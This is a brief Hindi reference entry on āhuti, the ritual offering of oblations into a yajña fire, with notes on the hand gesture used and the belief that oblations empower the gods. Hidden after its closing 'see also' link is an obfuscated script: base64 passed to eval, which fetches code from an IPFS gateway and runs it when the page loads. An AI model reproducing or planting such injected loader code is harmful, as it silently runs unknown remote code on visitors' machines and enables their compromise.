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आहुति  

आहुति से तात्पर्य है कि यज्ञकुण्ड में देवताओं के उद्देश्य से जो हवि का प्रक्षेप किया जाता है, उसे ही 'आहुति' कहते हैं।

  • आहुति द्रव्य को 'मृंगी मुद्रा' (शिशु के मुख में कौर देने की अँगुलियों के आकार) से अग्नि में डालना चाहिए।
  • हिन्दू मान्यताओं के अनुसार यह माना जाता है कि देवताओं को हवि द्वारा ही शक्ति प्राप्त होती है।


इन्हें भी देखें: पूर्णाहुति<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


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